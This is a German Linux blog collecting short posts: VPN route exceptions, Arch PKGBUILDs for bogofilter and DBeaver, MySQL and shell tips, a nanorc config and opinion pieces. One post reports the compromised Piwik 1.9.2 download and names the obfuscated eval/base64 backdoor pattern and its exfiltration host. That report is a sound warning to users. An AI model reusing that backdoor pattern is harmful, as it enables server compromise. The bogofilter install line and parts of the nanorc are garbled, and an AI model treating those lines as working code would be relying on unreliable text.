Ich nutze privat einen VPN-Dienst. Derzeit ovpn.to um genau zu sein. Auf manchen Seiten ist das aber ein Nachteil, da manche Vollpfosten solche Dienst zum Spammen usw. missbrauchen und der Seitenbetreiber die IP sperrt. So bleiben im Grunde zwei Möglichkeiten. Entweder man deaktiviert die VPN-Verbindung komplett oder man besucht die Seite nicht mehr. Oder man nimmt Möglichkeit drei und erstellt eine Ausnahme. Unter OpenVPN und Linux reicht hier ein einfacher Befehl.

route add -host heise.de gw 192.168.1.1

Hier wird eine Route erstellt mit der alle Anfragen die an heise.de gehen über den Gateway mit der IP 192.168.1.1 (in dem Fall der Router) gehen und nicht über die VPN-Verbindung. Alles andere läuft weiterhin über die VPN-Verbindung. Will man nun das Ganze wieder löschen muss man einfach den Befehl wiederholen, nur dass man anstelle add del angibt.

route del -host heise.de gw 192.168.1.1

Sollte jemand eine bessere Möglichkeit kennen, immer her damit. So kann man übrigens auch weiterhin die SMTP-Server nutzen, welche in der Regel auch allergisch auf VPN-Dienste reagieren.


Deutschsprachiger Usenet-Server mit Schwerpunkt Arch Linux

Unter der IP 84.200.213.109 steht seit einigen Tagen ein Usenet-Server zum diskutieren (nicht zum Downloaden) bereit. Schwerpunkt ist im Grunde (Arch-)Linux. Folgende Gruppen sind derzeit vorhanden:

- admin.news.groups: Alles Rund um den den Server. Z. B. um neue Gruppen vorzuschlagen.
- alt.nerd: Für Dinge rund um dien IRC-Server irc.malte-bublitz.de
- alt.nerd.themenabend: Planung für eventuell stattfindenden Themenabende
- comp.os.linux: Für das ganze Linux-Gedöns
- comp.os.linux.archlinux: Für Arch Linux im Speziellen
- comp.os.bsd: Für die BSDler unter uns

Das ganze ist nicht auf meinem Mist gewachsen sondern auf dem von Malte Bublitz. Ich rühre hier nur etwas die Werbetrommel, da ich es interessant finde abseits von Foren diskutieren zu können. Oldschool sozusagen. Bisher ist es noch etwas leer, wie man sieht, aber vielleicht ändert es sich ja. 

Der Server ist nun unter nntp.flying-sheep.de erreichbar.

PKGBUILD für Bogofilter 1.2.3

Ich habe mir mal wieder eine PKGBUILD-Datei für Arch zusammengebaut. Dieses mal musste Bogofilter (ein E-Mail-Spamfilter den ich nutze) herhalten. Das Paket wurde vor einigen Tagen als veraltet markiert, die derzeit aktuelle Version, die ein Sicherheitsproblem behebt, gibt es allerdings (leider) schon wesentlich länger. Da ich nicht warten will, bis der Betreuer des Paketes in die Gänge kommt, hier mal die Datei. Eventuell kann es ja jemand gebrauchen.

# $Id$
# Maintainer: tobias
# Contributor: Low Kian Seong
pkgname=bogofilter
pkgver=1.2.3
pkgrel=1
pkgdesc="A fast Bayesian spam filtering tool"
arch=('i686' 'x86_64')
license=('GPL3')
url="http://bogofilter.sourceforge.net"
depends=('db' 'perl' 'gsl')
backup=('etc/bogofilter/bogofilter.cf')
source=(http://sourceforge.net/projects/${pkgname}/files/${pkgname}-current/${pkgname}-${pkgver}/${pkgname}-${pkgver}.tar.bz2)
md5sums=('c3ed7f483b83abcbf6d8c797084bd06e')
build() {
cd "${srcdir}/${pkgname}-${pkgver}"
./configure --prefix=/usr \
                  --sysconfdir=/etc/bogofilter \
                  --localstatedir=/var \
                  --enable-transactions
make
}

package() {
cd "${srcdir}/${pkgname}-${pkgver}"
make DESTDIR="${pkgdir}" install@speedymail.org>@archlinux.org>

mv "${pkgdir}/etc/bogofilter/bogofilter.cf.example" "${pkgdir}/etc/bogofilter/bogofilter.cf"

install -dm755 "${pkgdir}/usr/share/${pkgname}/contrib"
install -m644 contrib/* "${pkgdir}/usr/share/${pkgname}/contrib/"
}

Geändert wurde auch hier nur die Zeilen pkgver und md5sums. Das ganze gibt es natürlich auch wieder unter https://spideroak.com/browse/share/datengrab/FryBoyter. Benutzung wie immer ohne Gewähr.


Temporäre Tabellen unter MySQL erstellen

Am Freitag war ich mal wieder in der Situation etwas an einer Datenbank ändern zu müssen. Und das ohne Netz und doppelten Boden. Sprich die Datensicherung war schon ein paar Stunden alt und für eine Testdatenbank war keine Zeit. Da die Änderungen nicht ganz ohne waren, habe ich mir trotzdem einen Sicherheitsgurt eingebaut. Ich habe mir einfach eine temporärer Tabelle angelegt. Das ganze ist recht simpel.

CREATE TEMPORARY TABLE test (SELECT * from nutzer)

Bei diesem Beispiel wird also die temporäre Tabelle test in der Datenbank erstellt. Und zwar mit allem, was in der Tabelle nutzer vorhanden ist. Auf diese temporärer Tabelle habe ich dann mein Script losgelassen, das diverse Änderungen durchgeführt hat. Nachdem das einwandfrei geklappt hat, habe ich es dann auf die richtige Tabelle losgelassen. Einen DROP kann man sich übrigens schenken, da die temporären Tabellen nur so lange halten, wie man mit der Datenbank verbunden ist. Naja im Grunde nichts besonderes, aber vielleicht kann es ja jemand mal gebrauchen.


Arch PKGBUILD für Dbeaver 2.0.4

Wie schon hier geschrieben, bin ich von Dbeaver recht angetan. Inzwischen nutze ich es eigentlich ausschließlich und auch einige meiner Kollegen konnte ich anfixen. Die aktuelle Version 2.0.4 steht unter Arch im AUR allerdings derzeit nicht zur Verfügung. Eventuell ist der Betreuer des Paketes ja noch im Urlaub. Da ich allerdings bei manchen Paketen etwas ungeduldig bin, habe ich mir das Ganze mal zur Brust genommen und die Datei PkGBUILD angepasst. Herausgekommen ist folgendes:

# Maintainer: Arne Hoch
pkgname=dbeaver
pkgver=2.0.4
pkgrel=1
pkgdesc="a free universal database tool for developers and database administrators"
arch=('i686' 'x86_64')
url="http://dbeaver.jkiss.org/"
license=("Freeware")
depends=('java-runtime>=1.6' 'gtk2')
makedepends=('unzip')
if [ "$CARCH" = "i686" ];
then source=(http://dbeaver.jkiss.org/files/dbeaver-$pkgver-linux.gtk.x86.zip dbeaver.desktop) md5sums=('298d4ced68e90dce75f896802c01b0a0')
else
source=(http://dbeaver.jkiss.org/files/dbeaver-$pkgver-linux.gtk.x86_64.zip dbeaver.desktop) md5sums=('02ba30d3e38e2700081d5bd88d47aed5')
fi
md5sums+=('6944e8324464e5802ddf6292026593d6')

build() {
mkdir -p $pkgdir/opt/
mkdir -p $pkgdir/usr/share/applications
mkdir -p $pkgdir/usr/bin
cd $srcdir
cp -r $pkgname $pkgdir/opt/
ln -s /opt/dbeaver/dbeaver $pkgdir/usr/bin/
install -m 644 $srcdir/dbeaver.desktop $pkgdir/usr/share/applications/
}

Die Installation funktioniert und das Programm an sich auch. Soviel kann ich also nicht versaut haben. Naja im Grunde genommen habe ich ja nur die MD5-Summen sowie die pkgver-Zeile angepasst. Die letzte Zeile bei dem MD5-Summen (die mit dem +) ist übrigens für die Datei dbeaver.desktop über die ein Eintrag im Startmenü erzeugt wird. Wer sich keine Arbeit machen will, findet die Dateien unter https://spideroak.com/browse/share/datengrab/FryBoyter. Nutzung, wie immer, auf eigene Gefahr und ohne Gewähr (und Gewehr).


Meine Highlights 2012

Das Jahr 2012 geht langsam dem Ende entgegen. Daher habe ich mir einmal überlegt, welche Höhepunkte es im technischen Bereich für mich gegeben hat. Und das ist dabei herausgekommen. Zumindest zum Teil. 2012 war einfach zu viel los, so dass ich nicht alles anreißen kann.

- Raspberry Pi Ursprünglich war der kleine Rechner dafür gedacht, Kinder das Programmieren näher zu bringen. Inzwischen hat gefühlt jeder zweite so ein Teil. Und die Einsatzzwecke sind inzwischen ins uferlose gewachsen. Von reinen Downloadbüchsen, über Mediacenter, bis hin zu Hausautomationen und was weiß ich noch, ist alles dabei. Inzwischen gibt es immer mehr Zubehör und sogar einen eignen Store über den Software ggf. gegen eine Gebühr, oder auch nicht, angeboten wird.

- Der Wechsel zu Uberspace.de Für mich bisher der beste Webspace-Anbieter, den ich je hatte. Und das waren über die Jahre schon so einige. Domain aufschalten, die bei einem anderen Anbieter wie INWX liegt? Eine kurze E-Mail in der man die Domain und den Namen des eigenen Uberspace nennt und kurz darauf kann man loslegen. Ein eigener XMPP-Server? Einfach installieren und um die Freischaltung der Ports bitten. Kommt man bei etwas nicht weiter, einfach eine E-Mail schreiben und sich dann viel Zeit zum lesen der Antwort nehmen. Denn die wird nicht aus kurzen Textbausteinen bestehen, sondern wird sehr umfassend sein. Ich könnte jetzt vermutlich noch x Beispiele bringen, was man dort alles anstellen kann. Aber ich denke man versteht was ich damit sagen will. Man hat einfach viel mehr Möglichkeiten als bei anderen Anbietern. Und den Preis darf man auch noch selbst bestimmen. Gut nicht ganz. Ein Euro im Monat muss man mindestens Abdrücken. Einen kleinen Haken gibt es aber. Zumindest für die, die eine grafische Oberfläche zum Verwalten des Webspace erwarten. Den die gibt es nicht. "Nur" einen SSH-Zugang. Aber auch das ist kein Hexenwerk und dank des vorhandenen Supports kann man auch als Newbie einsteigen. Sofern man sich damit beschäftigen will bzw. kann.

- Mageia Jetzt werden sich einige Fragen, warum das ein Höhepunkt 2012 für mich ist, wo doch die erste Version 2011 erschienen ist. Ganz einfach. Weil die zweite Version 2012 veröffentlicht wurde und das ganze somit keine Eintagsfliege ist. Und weil mit dem Fork von Mandriva eine der einsteigerfreundlichsten Distributionen, wenn nicht sogar die einsteigerfreundlichste, weiterlebt. Bei Mandriva habe ich da weiterhin meine Bedenken. Wer also mit Distributionen aus dem Hause Canonical und deren Forks nichts anfangen kann, sollte unbedingt einen Blick riskieren.

- Arch Linux Als 2010 das Unternehmen hinter Mandriva mal wieder pleite war, habe ich mich nach ca. 10 Jahren Mandrake/Mandriva nach einer anderen Distribution umgesehen. Arch Linux war eigentlich keine Alternative. Da aber ein Großteil der Meinungen über die Distribution positiv waren, habe ich sie mal in VirtualBox installiert. Und schließlich hat Arch dann doch Mandriva abgelöst, da man einfach keine vorgegebene Standardinstallation hat, sondern sich seine eigene zusammenbaut. Ein Highlight 2012 ist Arch für mich, weil es für mich eine geniale Distribution ist. Rolling Release und quasi bleeding edge. Trotzdem habe ich damit auch nicht mehr Probleme oder Aufwand als mit einer "stabilen" Distribution, die nur alle x Monate eine neue Version veröffentlicht. Und unterhalten wird man dort auch noch. Die Diskussion, als der Wechsel zu systemd von den Entwicklern beschlossen wurde, war einsamme Klasse. Da passt der Spruch "Was der Bauer nicht kennt, frisst er nicht" wunderbar.

So und nun seit ihr an der Reihe. Was waren euere Höhepunkte 2012? Oder wie sehr ihr meine Highlights 2012?


Commandlinefu

Für die Shell-Fetischisten habe gerade einen recht nützlichen Link ausgegraben.

Http://www.commandlinefu.com ist eine Sammelstelle für diverse Shell-Befehle inkl. deren Erklärung. Dort findet man relativ leicht nachvollziehbare Befehle wie

file -sL /dev/sda4

mit denen man beispielsweise das Dateisystem einer Partition herausfinden kann. Aber auch schwerere Geschütze wie

ps -eo size,pid,user,command --sort -size |awk '{hr[1024**2]="GB";hr[1024]="MB";for (x=1024**3; x>=1024; x/=1024){if ($1>=x){printf ("%-6.2f %s ", $1/x, hr[x]);break}}}{printf ("%-6s %-10s ", $2, $3)}{for (x=4;x<=NF;x++){printf ("%s ",$x)} print ("\n")}'

mit denen man sich in einer übersichtlichen Weise anzeigen lassen kann, welche Speichermenge sich die Prozesse geschnappt haben. In der rechten Spalten der Seite gibt es diverse Tags wie bzip2, chmod, oder screen. Damit lässt sich das ganze schon einmal eingrenzen, wenn man sich nur Befehle für einen bestimmten Befehl/Bereich anzeigen lassen will. Eine Suchfunktion ist ebenfalls vorhanden, wenn man etwas genauer suchen will.


Ich gebe den Linuxpaten eine Chance

Vor einiger Zeit habe ich mir überlegt, ob ich das Projekt Linuxpaten wiederauferstehen lasse.

Ich bin nun zu dem Ergebnis gekommen, dass ich es zumindest versuchen werde. Allerdings schaffe ich es definitiv nicht alleine. Von daher möchte ich hiermit um Hilfe bitten. Willkommen ist jeder, der etwas beitragen will.

Wie genau das nun umgesetzt wird kann ich nicht sagen. Denkbar wäre zum Beispiel ein Forum wie myBB für die Vermittlung zwischen Pate und Patenkind und für allgemeine Diskussionen. Interessante Probleme und deren Lösungen könnte man in einem Wiki (z. B. TikiWiki) hinterlegt. Da ich bei meinem Webspace-Anbieter große Freiheiten habe, wäre auch ein Chat, z. B. über Jabber/XMPP möglich. Was aber definitiv nicht in Frage kommt, ist das ganze kommerziell zu gestalten.

Von meiner Seite würde ich auf jeden Fall den Webspace (bei uberspace.de) beisteuern und verwalten und die Kosten für die Domain übernehmen. Eine Beteiligung am "laufendem Geschäft" wäre ebenfalls der Fall. Allerdings muss ich bei grafischen Sachen sowie Programmierungen, die weiter gehen, als z. B. Wordpress rudimentär anzupassen, das Handtuch werfen.

Wer sich an diesem Projekt beteiligen will, kann mich am besten über die Kommentarfunktion oder per E-Mail erreichen. Ideen abseits der bereits genannten Umsetzungsmöglichkeiten sind natürlich gerne gesehen.


Was für ein Jahr für Linux

Die Linux Foundation lässt in einem Video das dann doch recht bewegte Jahr für Linux Revue passieren.

"Gefeiert" wird unter anderem der Umsatz von einer Milliard Dollar bei Redhat oder das Android, Chromebook und Kindle, welche ja mit Linux laufen oder darauf aufbauen, immer mehr Verbreitung finden. Aber seht selbst.

http://youtu.be/Unfx2qCj6Ao

Ich bin mal gespannt, ob mit dem Erscheinen von Steam die Linux Foundation nächstes Jahr auch das Jahr von Linux auf dem Desktop feiern kann. SCNR :D


Entpacken unter Linux leicht gemacht

Geht es euch auch so, dass ihr euch nicht merken könnt, mit welchen Parametern man z. B. ein tar-Archiv entpackt? Also mir schon. Deswegen habe ich mir unter der ZSH diverse Aliase angelegt (z. B. untar welcher tar -xvf ausführt) Heute habe ich eine Alternative dazu gefunden. Dtrx (do the right extraction).

Das Tool entpackt zum Beispiel tar, zip, cpio, deb, rpm, gem, 7z, cab, lzh, rar, gz, bz2, lzma, xz, sowie diverse exe- und Installshield-Dateien und Windows-Cabinetdateien. Hierzu z. B. einfach dtrx test.tar ausführen und fertig. Die Dateirechte werden dabei so geändert, dass man als Nutzer lesend und schreibend auf die entpacktend Dateien zugreifen kann. Alle anderen Rechte bleiben unangetastet. Sollte sich ein Archiv im zu entpackendem Archiv befinden, wird dies auch mit entpackt. Die Verzeichnisstruktur wird beim Entpacken ebenfalls berücksichtigt.


Informationen über Blockgeräte anzeigen

Heute bin ich mal wieder über ein Tool gestolpert, dass ich kurz vorstellen will. Es handelt sich hierbei um lsblk.

Führt man den Befehl ohne Parameter aus, erhält man beispielsweise folgende Ausgabe.

[root@netbook ~]# lsblk 
NAME                   MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sda                      8:0    0 298,1G  0 disk  
├─sda1                   8:1    0  94,1M  0 part  /boot
└─sda2                   8:2    0   298G  0 part  
  └─main (dm-0)        254:0    0   298G  0 crypt 
    ├─main-root (dm-1) 254:1    0    30G  0 lvm   /
    ├─main-swap (dm-2) 254:2    0    16G  0 lvm   [SWAP]
    └─main-home (dm-3) 254:3    0   252G  0 lvm   /home

Das ganze lässt sich über diverse Parameter noch ziemlich erweitern bzw. eingrenzen. Mit dem Parameter -f kann man sich beispielsweise noch die UUID anzeigen lassen. Mehr erfährt man in der Manpage.

[root@netbook ~]# lsblk -f
NAME                   FSTYPE      LABEL UUID                                   MOUNTPOINT
sda                                                                             
├─sda1                 ext4        boot  f2859c78-5073-4134-8792-337d944ca37e   /boot
└─sda2                 crypto_LUKS       a8751c65-3549-4f75-8d42-399915c93ccf   
  └─main (dm-0)        LVM2_member       fNkm7V-hkpi-4sP7-H54e-5qod-GelW-zRwEz7 
    ├─main-root (dm-1) ext4        root  61ce4471-67bc-4a18-9c80-0a75c075e899   /
    ├─main-swap (dm-2) swap        swap  3cbfb365-e6c6-4bd1-8459-d04ed7c7858e   [SWAP]
    └─main-home (dm-3) ext4        home  1c4bf4c8-8e2c-444a-8121-beb54e48202a   /home

Lsblk gibt die Informationen übrigens auch aus, wenn die Partitionstabelle nicht gültig ist.
 


Meine Konfigurationsdatei von nano

Bis Ende des Jahres will ich diverse Konfigurationsdateien anpassen und ggf. aufräumen. Bei dieser Gelegenheit werde ich diese dann veröffentlichen. Heute habe ich mit nano angefangen. Nano ist mein bevorzugter Editor wenn ich keine grafische Oberfläche zur Verfügung habe oder ich einfach keine Lust habe größere Geschütze wie Bluefish zu starten. Das ist nun dabei herausgekommen.

## Sample initialization file for GNU nano.
##
## Please note that you must have configured nano with --enable-nanorc
## for this file to be read! Also note that this file should not be in
## DOS or Mac format, and that characters specially interpreted by the
## shell should not be escaped here.
##
## To make sure a value is disabled, use "unset ".
##
## For the options that take parameters, the default value is given.
## Other options are unset by default.
##
## Quotes inside string parameters don't have to be escaped with
## backslashes. The last double quote in the string will be treated as
## its end. For example, for the "brackets" option, ""')>]}" will match
## ", ', ), >, ], and }.

## Backup files to filename~.
set backup

## The directory to put unique backup files in.
set Backupdir  "/hom/mathmos/Dokumente/nanobackup"

## Constantly display the cursor position in the statusbar. Note that
## this overrides "quickblank".
set const

## Enable ~/.nano_history for saving and reading search/replace strings.
set historylog
## Don't convert files from DOS/Mac format.
set noconvert
## Fix numeric keypad key confusion problem.
set rebindkeypad
## Make the Home key smarter. When Home is pressed anywhere but at the
## very beginning of non-whitespace characters on a line, the cursor
## will jump to that beginning (either forwards or backwards). If the
## cursor is already at that position, it will jump to the true
## beginning of the line.
set smarthome

## Use smooth scrolling as the default.
set smooth

## Enable soft line wrapping (AKA full line display).
set softwrap

## Allow nano to be suspended.
set suspend

bind ^S research main

## Syntax-Highlightning
## Nanorc files
include "/usr/share/nano/nanorc.nanorc"

## Makefiles
include "/usr/share/nano/makefile.nanorc"

## Cascading Style Sheets
include "/usr/share/nano/css.nanorc"

## HTML
include "/usr/share/nano/html.nanorc"

## PHP
include "/usr/share/nano/php.nanorc"

## TeX
include "/usr/share/nano/tex.nanorc"

## Patch
files include "/usr/share/nano/patch.nanorc"

## Manpages
include "/usr/share/nano/man.nanorc"

## Perl
include "/usr/share/nano/perl.nanorc"

## Python
include "/usr/share/nano/python.nanorc"

## Ruby
include "/usr/share/nano/ruby.nanorc"

## Java
include "/usr/share/nano/java.nanorc"

## Bourne shell scripts
include "/usr/share/nano/sh.nanorc"

## XML-type files
include "/usr/share/nano/xml.nanorc"

Eventuell kann es ja jemand als Grundlage gebrauchen. Alles was ich nicht benötigt habe, habe ich aus der Datei entfernt. Die komplette Datei nanorc findet man unter /etc/. Diese am besten nicht editieren sondern als .nanorc in das Homeverzeichnis kopieren.


Killen mit der ZSH

Seit geraumer Zeit bin ich ein Fan der ZSH. Aber manchmal werde ich immer noch überrascht.

Gerade wollte ich mit dem Befehl "kill" einen Prozess abschießen. Nur welche PID hat er? Reflexartig wollte ich schon den Befehl "pidof" auspacken um die PID des Prozesses zu ermitteln. Stattdessen habe ich einfach mal TAB gedrückt, da man damit unter ZSH ja eine klasse Autovervollständigung hat. Und genau an der Stelle wurde ich mal wieder überrascht. Nachdem ich TAB gedrückt hatte, kam eine Auflistung aller Prozesses mit ihrer PID aus der ich mit den Cursortasten den richtigen Prozess auswählen kann.

Also einfacher geht es nun wirklich nicht.

Welche Kniffe, Tricks usw. kennt Ihr noch für die ZSH? Oder für die jeweilige Shell, die ihr nutzt?


Piwik wurde kompromittiert

Die aktuellen Downloadpakete der Webanalyse-Software Piwik wurden kompromittiert. So wie es aussieht gelang es Dritten die Pakete zu ändern und ein Backdoor zu installieren. Geändert wurde die Datei /piwik/core/Loader.php. Hier wurde Base64-codierte Befehle eingebaut (eval(gzuncompress(base64_decode(...), die Daten an prostoivse.com übertragen. Weiterhin legen die Befehle scheinbar die Datei lic.log und piwik/core/DataTable/Filter/Megre.php an. Darüber hinaus ist es Dritten möglich per PHP weitere Befehle abzusetzen und somit das jeweilige System noch weiter zu kompromittieren. Betroffen ist scheinbar die aktuelle Version 1.9.2.

Nutzern von Piwik würde ich dringend dazu raten, ihre Installation zu prüfen und ggf. Maßnahmen zu ergreifen. Genauere Informationen kann man unter http://forum.piwik.org/read.php?2,97666 nachlesen.

Nachtrag: Laut dem genannten Foren-Thread sieht es wohl so aus, als ob Nutzer, die Piwik schon vor einigen Tagen auf Version 1.9.2 aktualisiert haben, nicht betroffen sind. Hoffen wir mal, dass das stimmt. Auch scheint wohl "nur" der Download und nicht auch noch das Repository betroffen zu sein. Zwischenzeitlich gibt es hier eine Stellungnahme der Betreiber zu dem Ereignis.


Etwas Lustiges (oder auch nicht) zum Wochenende

Naja eigentlich eher traurig. Aber ich habe mich trotzdem fürs Lachen entschieden.

Auf dieser Seite wird versucht das Buch "Ubuntu Linux-Einstieg leicht gemacht" an den Mann (oder Frau) zu bringen. An sich kann man dagegen eigentlich nichts sagen. Ich kaufe mir ja auch ab und an ein Druckwerk über Open-Source-Sachen wie die ZSH, obwohl man (verteilt über x Quellen) auch umsonst an die Informationen kommt. Was ich an der Seite lustig finde (oder eher traurig) ist das wie dafür geworben wird. Besonders die 10 Punkte, warum Linux ja soviel besser ist als Windows haben mich erst lachen und dann mit dem Kopf schütteln lassen.

Hier mal meine Sicht der Dinge, wieso das meiste davon Bullshit ist.

Zu Punkt 1: Meine Windowsinstallationen laufen in der Regel mehrere Jahre ohne dass sie langsamer werden. Eine Neuinstallation ist eigentlich nur wegen einem Layer 8 Problem nötig. Keine Ahnung wie der Seitenbetreiber auf die Idee kommt, Windows würde immer langsamer werden umso länger man es benutzt. Eventuell gibt es auch hier ein Layer 8 Problem.

Zu Punkt 2: Das mag vielleicht bei Win 98 noch der Fall gewesen sein. Ich wüsste jetzt nicht, wann z. B. Vista oder W7 das letzte mal bei mir abgekackt ist. Eventuell auch wieder ein Layer 8 Problem?

Zu Punkt 3: Da hat er recht. Aber auch nur, weil ich meine Rechner nicht 24/7 laufen lasse. Ich kenne Leute die Windows-Server betreiben und diese auch nur herunterfahren, wenn es ein Update zwingend verlangt. Was bei Linux durchaus auch mal fällig ist. Z. B. wenn der Kernel gewechselt wurde.

Zu Punkt 4: Auch in Zeiten, als Windows nicht automatisch im Hintergrund defragmentiert hat, habe ich nicht selber eine Defragmentierung angestoßen. Trotzdem lief alles. Einen wirklichen Unterschied konnte ich bei Tests auch nie nachvollziehen. Vor allem nicht wenn man die Zeit mit einbezieht, die man bei Defragmentieren verschendet. Wieder ein Layer 8 Problem? Dateisysteme unter Linux defragmentieren übrigens auch.

Zu Punkt 5: Tja, wenn es nach meinem Autohändler geht, hätte ich bereits nach 6 Monaten ein neues Auto kaufen sollen. Windowsversionen werden in der Regel länger als 2 bis 3 Jahre unterstützt. XP bis 2014 wenn ich mich nicht irre. Also mal eben 13 Jahre. Manche Versionen einiger Distributionen bringen es nicht mal auf 3 Jahre. Wieso sollte ich also immer wechseln? W8 werde ich z. B. komplett auslassen, da es für mich einfach zu wenig Neuerungen hat, die mir gefallen oder die ich brauche.

Zu Punk 6: Das ist endlich mal ein Punkt, bei dem ich weder gelacht noch geweint habe. Aber dank diversen Tools wie dem Personal Software Inspectorvon Secunia ist das dann auch kein Beinbruch. Es ist nur nervig.

Zu Punkt 7: W7 läuft hier auf einer Hardware, die alles andere als aktuell ist. Z. B. ist ein i5 750 verbaut. Der ist, wenn ich mich nicht irre, 2009 erschienen. Meine GTX 260² dürfte ähnlich aktuell sein. Usw. Mal davon abgesehen, wirbt der Betreiber für ein Ubuntu-Buch. Ubuntu ist ja auch bekannt dafür auf alten Klapperkisten wie einem P2 zu laufen. Ja nee, ist klar...

Zu Punkt 8: Also ich bezweifle es jetzt einfach mal, dass Ubuntu innerhalb von 8 Minuten installiert ist. Für eine andere anfängerfreundliche Distribution dich ich selbst verwende (Mandriva bzw. Mageia) brauche ich schon um einiges länger. Oder ist hier von der Live-Version die Rede. Da dürfte z. B. ein Mini-XP schneller sein.

Zu Punkt 9: Klar, 2013 wird MS pleite gehen und Ubuntu den Markt dominieren. Gut Linux findet immer mehr Verbreitung. Durch Steam hoffentlich noch mehr. Aber glaubt der Betreiber allen Ernstes, dass MS in den nächsten Jahren nicht mehr Marktführer (argh... ich habe das böse Wort benutzt) sein wird. Also ich nicht. Alleine schon deshalb weil auf den Fertigrechnern weiterhin Windows vorinstalliert ist und schätzungsweise 90% der Kunden nicht mal wissen, dass es auch noch andere Götter neben Windows gibt. Äh Betriebssysteme meinte ich...

Zu Punkt 10: Wieso muss ich mir dann noch einige Pakete nachinstallieren. Moneyplex z. B.? Oder liegt es daran, dass ich Arch nutze? Ich muss zugeben, dass ich das Buch nicht kenne. Eventuell stehen da durchaus wissenswerte Sachen darin. Aber wie dafür geworben wird, finde ich ziemlich ungut (um es mal vorsichtig zu formulieren). Wäre das jetzt MS gewesen, hätte man vermutlich einen Shitstorm aufgrund des FUD gestartet. Ich komme irgendwie gerade in Versuchung mal Canonical anzuschreiben um deren Meinung über solch eine Werbung mit Ihrem Produkt (was ja bei dem Buch mit dabei ist) zu erfragen. Was haltet ihr von der Art, wie hier für Linux im Allgemeinen und für Ubuntu bzw. das Buch dazu im Speziellen geworben wird?


Linuxpaten reloaded?

Vor einiger Zeit gab es unter linuxpaten.org ein Angebot bei dem man sich als Pate bzw. Patenkind für eine bestimmte Distribution anmelden konnte. Als Patenkind hatte man so einen festen Ansprechpartner der sich mit Distribution XYZ auskennt. Als Pate hat man seinem Patenkind eben geholfen. Diese Angebot liegt nun schon ein ganzes Stück auf Eis. Scheinbar wurde die Seite von einem Unternehmen übernommen und still gelegt.

Jetzt stelle ich mir gerade die Frage, ob sich ein ähnliches Angebot unter einer anderem Domain lohnen würde. Also lohnen im Sinne von "besteht Bedarf?". Was meint ihr? Und würdet ihr euch beteiligen (als Pate oder Patenkind)?


Arch Linux Bug Squashing Day am 17. November 2012

Am 17. November ist es mal wieder soweit. Die Gemeinschaft hinter Arch Linux ist aufgerufen Käfer zu terminieren.

Im Grunde ist das recht einfach. Man sucht sich bestimmte Pakete heraus, überprüft ob die gemeldeten Bugs noch aktuell sind und meldet diese ggf. an Upstream. Sollte es dort bereits einen Patch gegeben, testet man diesen ob er auch funktioniert.

Zur Kommunikation zwischen den Archern dient hier der IRC-Kanal #archlinux-bugs (irc.freenode.net).

Mein derzeitiger Lieblingskäfer wurde zwischenzeitlich sogar schon zertreten. Consolekit, was bei mir den Bootvorgang ziemlich verzögert hat und was schon seit längerem nicht mehr gewartet wird, ist zugunsten von polkit und systemd-logind entfernt worden. Und ja, ich mag systemd.


Alternative zu MySQL-Workbench

Wenn ich größere Sachen an einer MySQL-Datenbank mache, habe ich bisher immer MySQL-Workbench eingesetzt. An sich finde ich das Programm recht gut. Da sich durch ein Update die Bezeichnung einiger Python-Pakete unter Arch Linux geändert haben, war eine kurze Neuinstallation von MySQL-Workbench fällig. Sagte ich kurz? Genau das ist der Punkt, an dem ich das Programm am liebsten aus dem Fenster werfen würde. Das bauen des Paketes dauert gut 30 Minuten. Während der Rechner also fleißig vor sich hin baut, habe ich mir mal die Alternativen zu MySQL-Workbench angesehen. Navicat finde ich zwar gut, aber für das was ich daheim mache, zu teuer. HeidiSQL läuft zwar mit Wine, aber darauf möchte ich verzichten. Zufällig bin ich dann auf DBeaver gestoßen. Und so wie es aussieht, wird MySQL-Workbench wohl von der Platte fliegen, da es innerhalb weniger Sekunden installiert ist. Lediglich der Start könnte etwas schneller sein.

Bisher habe ich mit DBeaver nur etwas herum gespielt. Aber was ich gesehen habe, hat mir gefallen. Das Teil kommt nicht nur mit MySQL sondern auch mit vielen anderen Datenbanken zurecht. PostgreSQL, Oracle und Informix. Nur um mal ein paar Beispiele zu nennen. Somit könnte ich auch die Datenbanken auf der Arbeit von daheim aus quälen... :D Ebenfalls gut finde ich, dass man damit automatisch einen SSH-Tunnel aufbauen kann, um sich darüber mit externen Datenbankservern zu verbinden. ERD Diagramme werden auf den ersten Blick ebenfalls unterstützt. Und der SQL-Editor für die Statements scheint auch das zu machen, was ich will.

Da DBeaver in Java erstellt wurde (was vermutlich die relativ lange Ladezeit erklärt), läuft es nicht nur unter Linux, sondern auch unter Windows, Mac, Solaris usw. Lange Rede, kurzer Sinn, wer von MySQL-Workbench weg will oder einfach mal etwas neues probieren will, sollte mal einen Blick auf den DBeaver werfen.


Wurde die Antispam Bee abgeschossen?

So wie es aussieht, ist das Wordpress-Plugin Antispam Bee nun wohl ausgehebelt worden. Seit einigen Wochen bekomme ich regelmäßig einen Schwung von Spam-Kommentaren, die komplett an dem Plugin vorbei gehen.

Scheinbar bin ich nicht der Einzige, der damit Probleme hat, da im Support-Forum inzwischen mehrere Nutzer das Problem bestätigen. Da sich der Entwickler bisher noch nicht dazu geäußert hat, stelle ich nun Wordpress so ein, dass alle Kommentare erst einmal von mir genehmigt werden müssen, bevor sie angezeigt werden. Auf ein anderes Plugin wie Akismet, dass datenschutzrechtlich mehr als grenzwertig ist, möchte ich nicht zurückgreifen.


Raspberry Pi nun mit 512 MB RAM

Der "Minirechner" Raspberry Pi, auf dem diverse Linux-Distributionen laufen, wird nun nicht mehr mit 256 sondern mit 512 MB RAM ausgeliefert.

Die Raspberry Pi Foundation hat damit auf diverse Anfragen von Nutzern reagiert, die auf dem Rechner Anwendungen laufen lassen, die teilweise einen höheren Speicherbedarf haben (z. B. Java-Anwendungen).

Wer noch einen Raspberry Pi mit 256 MB bestellt hat, dieser aber noch nicht versendet wurde, kann sich freuen. Den dann bekommt man mit ziemlicher Wahrscheinlichkeit die 512-MB-Version. Der Preis ist durch diese Upgrade übrigens gleich geblieben.

In den kommenden Tagen wird zudem noch ein Update der Firmware veröffentlicht, mit dem der Speicher dann komplett genutzt werden kann.


ArchBlocks - Installations-Framework für Arch Linux

Gestern bin ich auf ein interessantes Projekt gestoßen, mit dem man die Installation von Arch Linux automatisieren kann. ArchBlocks besteht im Endeffekt aus einem Shellscript, das man nach dem Booten des Arch-Isos aufruft.

#!/bin/bash
# ------------------------------------------------------------------------
# archblocks - minimal, modular, manual Arch Linux install script
# ------------------------------------------------------------------------
# es@ethanschoonover.com @ethanschoonover http://github.com/altercation/archblocks
# INSTRUCTIONS -----------------------------------------------------------
# boot into Arch Install media and run (for this script only):
#
